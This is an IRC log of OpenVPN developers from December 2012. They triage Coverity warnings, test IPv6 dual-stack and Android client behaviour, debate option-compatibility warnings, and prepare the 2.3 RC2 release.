<@vpnHelper> Title: T-Shirt Printing - Personalised T-Shirts & Personalised Hoodies | Spreadshirt (at www.spreadshirt.co.uk) 11:18 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:18 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:19 * cron2 klicks these to "dismiss" 11:26 -!- dazo is now known as dazo_afk 11:31 <@cron2> yay 11:31 <@cron2> 204 warnings 11:32 <@cron2> 201 are "msg()" 11:33 <@cron2> one is... 11:33 <@cron2> tadaaa... 11:34 <@cron2> MANAGEMENT_EXTERNAL_KEY 12:21 <@cron2> one is "this code does not smell good", but harmless 12:21 <@cron2> and the last one is "I think coverity is misreading this" 12:23 <@cron2> dazo: could you have a look at coverity 744978? 12:30 <@cron2> oh, there's more, older stuff 12:33 <@cron2> ... and some real bugs in there 12:37 <@cron2> ... and more false positives... ough, that's fairly hard to wade through 12:39 <@cron2> if (proto < 0 || proto >= PROTO_N) 12:39 <@cron2> ASSERT(0); 12:40 <@cron2> what sort of code is that? 12:40 <@cron2> (coverity gets confused by ASSERT(), but still, this is a funny way to write a bounds check with ASSERT...) 18:48 <+krzee> "this code does not smell good" hahah 19:38 -!- Netsplit *.net <-> *.split quits: @raidz, plaisthos, ender`, @cron2, @vpnHelper, @d12fk 19:50 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 19:50 -!- ServerMode/#openvpn-devel [+o raidz] by leguin.freenode.net 20:00 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 20:00 -!- ServerMode/#openvpn-devel [+o d12fk] by leguin.freenode.net 20:02 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 20:02 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:02 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 20:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:02 -!- ServerMode/#openvpn-devel [+oo cron2 vpnHelper] by leguin.freenode.net --- Day changed Sat Dec 15 2012 00:10 < tore_> plaisthos: tried to build your newsocket client stuff now, failed though: 00:10 < tore_> packet_id.h:127:1: error: ‘EMPTY_ARRAY_SIZE’ undeclared here (not in a fu 00:10 < tore_> packet_id.h:127:1: error: ‘EMPTY_ARRAY_SIZE’ undeclared here (not in a function) 00:11 < tore_> got some error messages from ./configure that may be related: 00:11 < tore_> checking return type of signal handlers... void 00:11 < tore_> ./configure: line 13840: AX_CPP_VARARG_MACRO_ISO: command not found 00:11 < tore_> ./configure: line 13841: AX_CPP_VARARG_MACRO_GCC: command not found 00:11 < tore_> ./configure: line 13842: AX_TYPE_SOCKLEN_T: command not found 00:11 < tore_> ./configure: line 13843: AX_EMPTY_ARRAY: command not found 00:24 < tore_> nevermind, I had screwed up the automake stuff 00:38 < tore_> plaisthos: it worked fine with all of my existing (ipv4-only) tunnels at least, so there's no regression at least 00:58 < tore_> plaisthos: the failover logic seems to work fine too 01:05 < tore_> tried broken ipv6->working ipv6, broken ipv6->working ipv4, and broken ipv4->working ipv4 01:06 < tore_> it doesn't seem to care about icmp errors though. so when a broken address in the list is one that exists, but doesn't have openvpn running, it may return icmp port unreachable errors 01:06 < tore_> that could have prompted the client to immediately try the next address in the list for quicker failover. now it seems to time out instead 01:09 < tore_> networkmanager times out the entire openvpn plugin faster than the openvpn process times out a failed connection attempt 01:15 < tore_> proto tcp fails over more rapidly if it gets connection refused packets in return 01:18 < tore_> hm, the timeout for udp is much longer than for tcp it seems, 10 sec vs 60 sec 01:19 < tore_> error messages differ slightly too: 01:19 < tore_> TCP: connect to [AF_INET6]2001:67c:21e0:a::16:1194 failed: Connection timed out 01:19 < tore_> and for UDP: 01:19 < tore_> TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) 01:19 < tore_> TLS Error: TLS handshake failed 01:22 < tore_> the tcp timeout is short enough to let NM successfully connect even if there's a few broken addresses 01:56 < tore_> I get a couple of error messages when connecting to plain 2.3rc1 server: 01:56 < tore_> WARNING: 'proto' is used inconsistently, local='proto [unknown protocol]', remote='proto TCPv6_SERVER' 01:56 < tore_> WARNING: 'tun-ipv6' is present in remote config but missing in local config, remote='tun-ipv6' 01:57 < tore_> however, they do not seem to cause any problems 02:48 <@cron2> tore_: the "proto" warnings will go away due to complete uselessness "if it connects, proto must be right" 02:49 <@cron2> tun-ipv6 is similar - if it's not configured at the client, but pushed by the server, it will work right but warn about "missing". Not overly helpful either 02:50 <@cron2> "known bug" 04:25 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 04:25 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:25 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 05:01 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 06:59 -!- novaflash is now known as novaflash_away 07:06 -!- novaflash_away is now known as novaflash 07:30 < tore_> hm. the android app doesn't support ipv6, does it? 07:32 < tore_> ipv6 transport I mean 09:51 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:51 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 10:23 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Quit: 99% of lawyers give the rest a bad name.] 10:25 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:48 < plaisthos> tore_: http://plai.de/android/ics-openvpn0525pre.apk 12:48 < plaisthos> that version incoperates the dual stack patches and should work. If not feel free to contact me 12:50 < plaisthos> tore_: the offical openvpn app should support ipv6 but I have no idea about that (I don't use it) 14:34 <@cron2> plaisthos: IPv6 transport sounds like "IPv6 inside OpenVPN" - don't you support that? 14:34 <@cron2> au 14:35 <@cron2> ah 14:35 <@cron2> no 14:35 < plaisthos> cron2: transport as opposed to payload? 14:35 <@cron2> tore_: OpenVPN-over-IPv6, or IPv6-in-OpenVPN? 14:35 * cron2 is confused, but I thought your app does both 14:37 < plaisthos> cron2: there is no gui configuration possibility for OpenVPN over IPv6 14:37 < plaisthos> cron2: for now I told the users "For the time being you can specify an invalid host in the basic settings and put a remote myhost 1234 udp6 in the advanced settings." 14:38 <@cron2> ah, I see - "under the hood", it works, but instead of adding knobs to the gui, you go and fix socket.c instead :) 14:39 < plaisthos> cron2: yeah 14:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 15:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:23 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 20:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 21:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Dec 16 2012 03:10 < plaisthos> *sigh* A user is complaining that lport 53 does not work with my app 03:18 <@cron2> what sort of poor app is that!!! unimaginable!!! 03:27 < plaisthos> cron2: :) 03:30 < tore_> hey. yes, I was talking about openvpn-over-ipv6 yesterday. will try the new apk, thaks :) 03:40 < plaisthos> tore_: I was brave and pushed the changes to the app store :) 03:44 < tore_> cool 03:45 < tore_> v0.5.25 right 03:47 < plaisthos> the config parser does not recognise udp6/tcp6 at the moemnt you have to change it to udp/tcp when importing the file 04:39 < tore_> get a warning here 04:39 < tore_> P:Options error: option 'route' cannot be used in this context ([PUSH-OPTIONS]) 04:39 < tore_> seems to work fine though 04:41 < plaisthos> tore_: do you have the option ignore routes from server on? 04:47 < tore_> yep, but I'm not pushing anything from the server anyway 04:47 < tore_> cool :) spotify now works from my ipv6-only 3g mobile connection 04:47 < tore_> awesome 04:54 < tore_> it went away if I removed the ignore routes 04:57 < tore_> and supl/agps too 04:57 < tore_> s w e e t 06:23 < plaisthos> source addr binding should not work if I specify port 53 as source port without root, right? 06:24 <@cron2> on a "unix" system, you need root to bind on anything < 1024 - so, yes 06:25 <@cron2> I'm not sure how close Android is to "unix" in that regard, but on a normal Linux system, it would only work because he has to run openvpn as root anyway... 06:26 < plaisthos> The user claims the old version worked with lport 53, I am trying to find out what the old version did different since I think it should have never worked ... 06:29 < plaisthos> I think I found the "bug" 06:31 <@cron2> the old version ignored --lport? 06:32 < plaisthos> nah, not that easy the old version will ignore the bind option when local_host option is NULL 06:32 <@cron2> ah, so you introduced a regression, and BROKE YOUR USERS CONFIG!!! 06:33 <@cron2> :) 06:33 < plaisthos> cron2: yes 06:33 <@cron2> but that was to be expected, some of the "works by chance" configs will not break. That's life. 06:34 < plaisthos> I just got a log from an old version of the software. It features the same error 06:35 < plaisthos> that is what I get for believing people :/ 06:36 <@cron2> haha 06:40 < plaisthos> I could add a run as root on rooted phones setting but I really don't want to 06:47 < plaisthos> With old version I really meant OpenVPN Settings *facepalm* but goes ahead and gives me a log of my old version as requested. I am speechless 06:52 < plaisthos> .oO(This users timing is phenomenal) 12:53 <@cron2> plaisthos: have you seen my mail on the list "coverity issue 1"? 12:56 <@cron2> ah 12:56 <@cron2> forget about it :-) this has already been committed and fixed, coverity was reporting this on an old snapshot 13:10 <@cron2> ok. Fosdem booked. 14:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 15:19 <@cron2> so. good deed done for today - got rid of tun-ipv6 15:25 <@cron2> (the warning) 15:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:26 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 20:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 20:35 -!- mode/#openvpn-devel [+o raidz] by ChanServ 21:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] --- Day changed Mon Dec 17 2012 02:45 <@mattock_> any suggestions for a good hotel in Brussels? 02:45 <@mattock_> the last one was ok-ish at best 02:58 -!- dazo_afk is now known as dazo 02:59 <@cron2> dazo: good mornin :-) - could you ack & merge-push my OCC warning patch, and then tag RC2, please? ;-) 02:59 <@cron2> (and off to Monday morning meeting...) 02:59 <@dazo> cron2: I'll take it instantly 03:00 <@cron2> thanks 03:13 < plaisthos> cron2: do we really need tun-ipv6? 03:14 < plaisthos> I mean with old os there some that did not support tun-ipv6 but nowadays all OS support ipv6 03:26 <@cron2> plaisthos: well, tun-ipv6 is turning IPv6 support *on* on the tun ifs - and indeed it makes a difference, as "plain tun" is ipv4-only, and "multiprotocol tun" needs some extra headers (= more effort) 03:27 <@cron2> I would not object to make that the default in 2.4 - that is: get rid of the tun-ipv6 option, always run the tun if in multiprotocol mode, get rid of lots of "if (tt->ipv6)" in tun.c 03:29 <@dazo> makes sense to me 03:29 * cron2 puts it on the 2.4 rip-out-list 03:29 <@dazo> cron2: Just considering to do a minor code style adjustment to your patch when committing it ... 03:29 <@dazo> - if (strncmp(p1, "proto ", 6) == 0 ) return; 03:29 <@dazo> + if (strncmp(p1, "proto ", 6) == 0 ) 03:29 <@dazo> + { 03:29 <@dazo> + return; 03:29 <@dazo> + } 03:30 <@cron2> dazo: well, we have both variants in the code - I'm fine if you change it 03:30 <@dazo> I know, I just find that style better ... and safer 03:30 <@dazo> (but that's influenced by my preference too, of course) 03:40 < plaisthos> Under the category of: Things I broke because I did not fix them: Http proxy is tcp4 only 03:43 <@cron2> outrageous! 03:43 <@dazo> heh 03:44 < plaisthos> there was an assert(proto == tcp4) which I changed to assert(proto == tcp && af == INET) which breaks for most use cases since af now is AF_UNSPEC :/ 03:46 <@cron2> fun... 03:46 * dazo started the tagging process ... will have tarballs ready soonish 03:47 <@cron2> great. I'm still believing in "2.3 release this year!" 03:47 <@vpnHelper> RSS Update - testtrac: Fix option inconsistency warnings about "proto" and "tun-ipv6" <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3b860cf27b9374f6ebe67ff21011661f8ec391c6> 03:56 <@dazo> tarballs sent to mattock_ :) 04:05 <@mattock_> dazo: excellent! 04:05 <@mattock_> 2.3.0 will be out today or tomorrow 04:06 <@dazo> rc2 04:21 <@mattock_> ups 04:21 < plaisthos> yeah. Now ipv6 http-proxy works :D 04:29 <@dazo> mattock_: If rc2 turns out to be stable until 24th ... I'm going to tag the final 2.3.0 release ... and push out tar balls ... and hope you have time to do the rest of the magic before new year :) 06:21 <@mattock_> dazo: ok 06:22 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock_] 06:23 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:23 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:35 <@mattock_> dazo: can you resend the links to the tarballs? 06:35 <@dazo> done 06:35 <@mattock_> thanks! 06:40 <@mattock_> has not arrived yet, suspecting some problem with our hosted email service 06:40 <@dazo> mattock_: PM 06:41 <@mattock_> :D 07:08 < plaisthos> .oO(btw. you see a version string like 2.3rc1+ds that is the android version) 07:12 < plaisthos> apart from the proxy issue my dual stack patch seems to work fine for most people 07:15 <@dazo> cool! 07:19 <@cron2> +1 07:23 < plaisthos> There is still an issue when the servname is not resovable but that should not affect many people 07:26 < plaisthos> like remote openvpn.blinkt.de https 07:26 <@cron2> https resolves for me :) 07:28 < plaisthos> cron2: yes but if you write httpsaddfa or something similar which is invalid you will trip into an assert 07:28 <@cron2> yeah, understood. 07:29 <@ecrist> good morning. 07:31 < plaisthos> I think I will goes through all checks which check for AF_INET or AF_INET6 and look if these checks are valid or just I never tested this code with ipv6 07:31 <@ecrist> are the 2.3_rc2 images not on the download server yet? 07:31 <@dazo> ecrist: not yet, I believe ... think mattock_ is chewing on that now 07:31 <@ecrist> ok 07:32 <@dazo> s/think/hope/ 07:32 <@ecrist> heh 07:32 <@mattock_> ecrist: no, not yet 07:33 <@cron2> mattock_: hurry up! 07:33 <@cron2> (dazo: you should move towards providing the tarballs with something that is not e-mail... mattock hates mail, you know?) 07:33 <@mattock_> cron2: obviously 07:34 <@cron2> ... and mail systems hate mattock :-) 07:34 <@mattock_> cron2: actually, I don't hate email, I hate opening an email client :D 07:34 <@dazo> cron2: that's why I used PM ... but seems his IRC client don't care about notifying him about that either ... 07:34 * dazo concludes .... mattock_ != compatible with software :-P 07:35 <@cron2> dazo: just copy-paste the tarball to fpaste.org 07:35 <@mattock_> I think Empathy is just too crappy IRC client 07:35 <@mattock_> but not crappy enough to convince me to learn irssi or something else properly 07:36 <@cron2> we could, of course, now spend a few days setting up something inside the community VPN to be able to do drop the tarball right on mattock_'s feet :-) 07:36 <@ecrist> irssi is really easy, mattock 07:36 <@ecrist> short learning curve once it's all set up 07:36 <@mattock_> ecrist: yeah, I've used it a bit 07:36 <@dazo> mattock_: xchat? 07:36 <@mattock_> used that also 07:36 <@mattock_> a bit 07:36 <@ecrist> bitchx? 07:36 <@mattock_> that I do not know :) 07:36 < plaisthos> xchat is still alive? 07:36 <@ecrist> yes, it is 07:37 < plaisthos> I bet it has changed since I last used it 07:37 < plaisthos> which is 10 years ago 07:43 <@ecrist> plaisthos: it's even been properly ported to os x 07:43 < plaisthos> ecrist: wow 07:44 <@ecrist> I used to be a huge xchat fan 07:44 <@ecrist> irssi + screen for me these days 08:22 < novaflash> mattock_: yo 08:22 < novaflash> du bist hier! 08:23 <@mattock_> jawohlke 08:23 < novaflash> so, fosdamn 08:23 <@mattock_> ja 08:23 < novaflash> any plans yet? 08:23 <@mattock_> nothing really concrete afaik 08:23 <@mattock_> except that lots of people are attending 08:24 <@mattock_> probably we'll have some hackfests in FOSDEM, have some beer at the Friday Night Beer Event, meet at a dinner on Fri/Sat 08:24 <@mattock_> lots of fun stuff 08:24 <@cron2> novaflash: stop keeping mattock_ from releasing RC2 08:24 < novaflash> cron2: set a cronjob! 08:24 <@mattock_> cron2: actually, I've managed to do fine by myself :D 08:25 * cron2 is not going for the Friday beer event, but if there is reasonable food, I'll be there :-) 08:25 < novaflash> * * * * * root /usr/bin/forcemattock 2 release nownownow 08:25 <@cron2> (flight booked, arriving in BRU 14:30 on Friday, leaving 21:20 on Sunday) 08:25 <@mattock_> cron2: Belgian beer too much for you? :D 08:26 < novaflash> hrm i could drive there in less than 4 hours 08:26 <@cron2> I just don't like "too many people in one place". 08:26 <@mattock_> yeah, it is crowded 08:26 <@mattock_> of course, we _could_ arrange our own private beer event also 08:26 <@cron2> and "getting drunk for getting-drunk's sake" is also not what I'm after - "having good food plus beer and good discussions with nice people" is vastly better 08:27 <@mattock_> that's definitely doable 08:27 < novaflash> that would probably be best organized on the saturday evening then i take it? not sure when the seminars and shit are exactly 08:27 <@mattock_> we only need the nice people 08:27 <@mattock_> :D 08:27 * novaflash facepalms 08:27 < novaflash> i typed fosdemon.org 08:27 <@mattock_> novaflash: we have evenings "off" from FOSDEM 08:28 < novaflash> i have the schedule now ya 08:28 <@mattock_> Sat and Sun until 18:00 I think 08:28 < novaflash> yea 08:31 <@mattock_> obstacles out of the way, now to building 2.3_rc2 for Windows(tm) 08:31 <@cron2> yay 08:32 < plaisthos> what does someone needs these days to build openvpn under windows? 08:32 < plaisthos> msvc or mingw? 08:32 <@cron2> plaisthos: linux plus mingw64 :-) (I think mattock is cross-building) 08:33 <@cron2> but you should be able to do with cygwin+mingw64 or with the python build system and MS VC++ 08:33 <@mattock_> plaisthos: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 08:33 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 08:33 < plaisthos> hm. I was after a non cross building to test the dual stack stuff under windows 08:33 <@mattock_> plaisthos: it's possible to build using MSVC, but I don't know if anyone used it 08:33 <@cron2> it's on that page, too 08:33 < plaisthos> mattock_: I will try later then :) 08:34 <@mattock_> the MSVC build documentation might be incomplete, I think I tried it only once at some point 08:35 <@mattock_> d12fk: I'll use the openvpn-gui-2.tar.gz from SF.net 08:35 <@mattock_> for 2.3_rc2 08:40 <@mattock_> any clue if we should upgrade to openssl-1.0.1* 08:40 <@mattock_> current windows installers are using 1.0.0j 08:46 <@dazo> mattock_: I'd go for the latest openssl 08:47 <@mattock_> I'll see if it breaks everything 08:48 <@cron2> dazo: now you have postponed the release until 2015... :-o 08:49 <@dazo> hehehe ... I hope not ... as it's not OpenSSL v1.1 ... so should be API compatible 08:49 <@cron2> hah 08:50 <@mattock_> we'll see 08:50 <@mattock_> alon had taken away his pkcs11-helper-1.10 package he had in GitHub 08:50 <@mattock_> a replacement is now at build.openvpn.net/downloads/releases 08:50 <@mattock_> first windows installer build started 08:51 <@mattock_> it usually fails 2-3 times due to some details, then I have working installers 09:00 <@vpnHelper> RSS Update - tickets: #244: tls handshake timeout when client cert is not yet valid <https://community.openvpn.net/openvpn/ticket/244> 09:18 <@mattock_> whoa, windows build succeeded on the first try 09:18 <@cron2> does the resulting binary work? 09:19 <@mattock_> probably not 09:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:20 <@mattock_> I'll rebuild with openssl 1.0.1c 09:20 <@cron2> why? 09:21 -!- dazo is now known as dazo_afk 09:22 <@mattock_> because the first build used 1.0.0j 09:23 <@mattock_> i.e. the build had started before anyone had any opinion on the subject 09:23 <@cron2> does it take *that* long? what sort of CPU is that? 09:23 <@mattock_> a virtual one :) 09:23 <@mattock_> takes time 09:24 <@cron2> yeah, but "limited to 500MHz" or "sitting on a 48-core 4 GHz cluster"? 09:24 <@mattock_> it's running on an entry level server from ~2008 09:24 <@mattock_> two AMD opteron cores I think 09:24 <@cron2> ISTR that my i5 builds 2.1 including OpenSSL in about 45 minutes... (Win7, MSVC) 09:25 <@mattock_> the whole build with all dependencies takes ~20-30 mins, can't recall 09:25 <@mattock_> exactly 09:25 <@cron2> ah, that's not that bad, then 09:25 * cron2 is just too impatient today 09:29 < plaisthos> hm but openssl takes the main toll of that time right? 09:31 <@cron2> yep 09:31 < plaisthos> the stripped down openssl from android + openvpen takes five minutes for arm, armv7, i86 + mips on my quadcore 09:31 < plaisthos> or maybe ten 09:57 <@mattock_> ok, rc2 is in apt/yum repos and also on build.openvpn.net and swupdate.openvpn.net 09:58 <@mattock_> Windows installer testing, editing the webpages and making the announcements is left for tomorrow 10:00 <@mattock_> ecrist: you can point your ports to the rc2 URLs now 10:01 <@cron2> mattock_: cool. I'll G+ the announcement tomorrow as well, then 10:01 <@mattock_> nice! 10:10 < plaisthos> okay I was wrong, it takes 18 minutes for all 4 architectures 10:14 <@ecrist> thanks, building a new port 10:20 <@ecrist> PR submitted: http://www.freebsd.org/cgi/query-pr.cgi?pr=174518 10:20 <@vpnHelper> Title: ports/174518: security/openvpn-beta: update to RC2 (at www.freebsd.org) 10:20 <@ecrist> (will take a while for it to show up) 10:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 15:19 < plaisthos> RESOLVE: Ignored SIGUSR1 signal received during DNS resolution attempt 15:19 < plaisthos> anyone an idea why openvpn does that?! 15:20 <@cron2> no idea 15:28 < plaisthos> The signal handling in getaddr is strange anyway. It will always ignore SIGUSR1 and if GETADDR_WARN_ON_SIGNAL flag is present only give a warning message on any other signal (inlcudig signal like SIGTERM) 17:35 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 17:35 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 22:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:03 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 23:03 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Tue Dec 18 2012 02:38 <@mattock_> windows smoke tests passed 02:41 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 02:42 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:21 <@mattock_> everything set for release 03:22 <@mattock_> got some other stuff now, will make the release at now+5 hours 03:29 <@cron2> yay 03:44 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock_] 04:31 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 04:31 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:37 <@d12fk> is there a source .zip of the tap-windows driver somewhere? 04:37 <@d12fk> http://swupdate.openvpn.org/community/releases/ only has the binary .zip 04:37 <@vpnHelper> Title: Index of /community/releases/ (at swupdate.openvpn.org) 06:38 -!- dazo_afk is now known as dazo 06:42 <@dazo> d12fk: Don't know about source zips ... but you got this one ... http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/tap-windows.git;a=summary 06:42 <@vpnHelper> Title: SourceForge - openvpn/tap-windows.git/summary (at openvpn.git.sourceforge.net) 06:43 <@dazo> or: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/tap-windows.git 06:45 <@d12fk> yeah, i `git archive --format=zip --prefix=tap-windows-9.9.2/ v9.9.2 > tap-windows-9.9.2.zip`ed 06:46 <@d12fk> updating the sophos ssl vpn client to 2.3_rcX as we speak 06:47 <@d12fk> the revolutionary build system puts quite some load onto this task, but i aint quittin =) 06:48 <@d12fk> 2.3 before utm 9.1 would be kinda cool 06:48 <@d12fk> will there be an rc3? 06:57 <@cron2> d12fk: wat's the schedule for utm 9.1? 06:58 <@cron2> (RC3 will only be done if we find something that must be fixed in RC2) 07:01 <@d12fk> umm probably cebit =) 07:02 <@dazo> d12fk: I'd say 2.3.0 final should be the next release ... and I'm hoping completing that before 24th 07:02 <@cron2> if we don't manage to release 2.3 this year(!!!), I'm tempted to commit harakirik 07:02 <@cron2> harakiri 07:02 <@cron2> whatever 07:02 <@cron2> "what dazo says, just more emphasis to it!" 08:20 <@d12fk> sounds good 08:21 <@dazo> d12fk: the release date? or cron2 committing harakiri? 08:22 * dazo can only satisfy one of them :-P 08:25 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:25 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 08:28 <@d12fk> nah, looking forward to meet him at fosdem in one piece, rather un-decomposed, you get the message, right... =) 08:31 <@mattock_> hrm... login password has changed on openvpn.net admin pages, can't make the release until the evening 08:50 * cron2 gets prepared 09:47 < plaisthos> anyone knows a good library that prints a stacktrace on sigsev? 09:48 < plaisthos> Android prints to system log but explaining to user how to get the developer log is not straightforward :/ 09:57 <@dazo> plaisthos: I don't know a library in particular ... but maybe you'll get some ideas if you look at the ABRT project? That's a tool to automatically catch backtraces and help filing bugzillas with debug info (such as backtraces) 09:58 <@dazo> https://fedorahosted.org/abrt ... iirc 10:07 < plaisthos> dazo: thanks I will look into it 10:10 < plaisthos> glibc has a backtrace function 10:11 < plaisthos> unfortunatly I am not using glibc :/ 10:13 < plaisthos> cron2: you broke my users config 10:14 < plaisthos> cron2: scenario is tun-ipv6 and opt-verify on the server < 2.3 10:14 <@dazo> eeewwww 10:15 < plaisthos> the point is: 10:15 <@cron2> huh, what is opt-verify? 10:15 <@dazo> some obscure openvpn option 10:15 <@cron2> aw shut 10:15 <@cron2> shit 10:15 < plaisthos> Do we want to be comptabile with 2.3 beta and 2.2+patches? 10:16 < plaisthos> or do we care only about openvpn 2.3 offical to 2.2.x offical? 10:16 <@cron2> 2.3-official to 2.2.x is really important (and that's fine, as --tun-ipv6 is not allowed together with --server on 2.2) 10:17 <@cron2> if we can be compatible to 2.3 beta / 2.2+patch, I'm happy to do so, but I don't see a nice way to achieve that for --tun-ipv6 10:18 <@cron2> well, we could go the same route as with "proto" - ignore mismatches in 2.3.0, stop sending it in 2.4 10:19 <@cron2> dazo: what's your take? 10:21 <@cron2> plaisthos: is this "one user affected" or "zillions"? 10:27 < plaisthos> cron2: only one user 10:27 < plaisthos> cron2: the opt-verify is new to me, too 10:27 < plaisthos> But I wanted to bring it to attention 10:28 * cron2 proposes to not be compatible to "2.3 beta / 2.2+patch *with opt-verify*" 10:28 < plaisthos> I would think the same 10:29 < plaisthos> I don't even know if there are many people that are using opt-verify+tun-ipv6+server 10:29 < plaisthos> which basically mean you are not are using any offical released version 10:30 <@cron2> especially as --server-ipv6 would push tun-ipv6, and thus always break opt-verify for clients not having tun-ipv6 (like "2.2 clients" :) ) 10:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:30 * dazo is back 10:31 <@dazo> cron2: tempting to ignore it ... but for tun-ipv6, that sounds a bit too hacky 10:32 * plaisthos wonders if that is a good or bad thing if you tell client "you have to support ipv6 or leave" 10:33 <@dazo> I'm leaning towards "bad" ... as IPv4 is mandatory, and it can tunnel IPv4, even if IPv6 fails 10:34 <@cron2> dazo: ignore tun-ipv6 in occ, or "ignore this interop issue"? 10:35 <@dazo> cron2: ignore in occ 10:35 <@cron2> but that means "more patches in 2.4"... so I tend to "leave it as it is, and tell the single user to upgrade the server to RC2 or run without --opt-verify" 10:36 < plaisthos> For my android app tun is always multi protocol (API provides tun this way) and all tun-ipv6 does for my app is send the string to the server or not 10:36 <@cron2> mmmh 10:36 <@cron2> would be interesting to verify what iOS is doing 10:37 <@cron2> (or the official OpenVPN Connect client) 10:39 < plaisthos> I will go ahead and tell the user behavior changed he needs to update the server to rc2 or use an old version of my client 10:39 <@cron2> or remove --opt-verify (for now) :-) 10:39 < plaisthos> yes 10:39 <@cron2> Oct 10 10:04:41 gentoo openvpn[4062]: ::ffff:24.9.78.222 WARNING: 'tun-ipv6' is present in local config but missing in remote config, local='tun-ipv6' 10:40 <@cron2> that's the iOS client if fed with a config without "tun-ipv6"... 10:40 <@cron2> ... and it still does IPv6 nicely (the server is pushing it anyway)... 10:40 < plaisthos> so it never send tun-ipv6? 10:40 < plaisthos> or depending on feed config? 10:41 <@cron2> maybe depending on feed config, can't test that right now - but it's the same as with the normal client: if it's not in the config, but the server pushes it, it will print the warning 10:41 <@cron2> there's a new one, though :-) 10:41 <@cron2> Oct 10 10:04:41 gentoo openvpn[4062]: ::ffff:24.9.78.222 WARNING: 'keydir' is present in remote config but missing in local config, remote='keydir 1' 10:42 < plaisthos> keydir? 10:42 <@cron2> no idea what that is 10:42 < plaisthos> it is mentioned under opt-verify 10:42 < plaisthos> but nowhere else 10:43 < plaisthos> ah 10:43 < plaisthos> found it 10:43 < plaisthos> in the source 10:43 < plaisthos> it is basically the direction of secret and tls-auth 10:43 <@cron2> ah, *that* 10:44 < plaisthos> checking that after conneting is completly bogus 10:44 <@cron2> yeah, another one of those... (and we don't seem to set them in the 2.3 sources anyway) 10:46 <@cron2> oh 10:46 <@cron2> we do 10:47 <@cron2> crypto.c, keydirection2ascii()... wah 10:48 < plaisthos> Only scenario I can imagine you a warning about key-direction is if you managed to create two keyfiles that work with key-direction 1 in both cases 10:51 <@cron2> this is going to be interesting - if I go ahead and remove "proto" from occ in 2.4, it will is likely to fail to work with AS and --opt-verify... so James should better move up to 2.3 RSN :-) 11:02 * plaisthos smells a opt-verify-ignore option 11:03 < plaisthos> that allows to be certain options opt-verify to be ignored again 11:04 <@cron2> true, but I don't want to delay 2.3 further for that :-/ 11:22 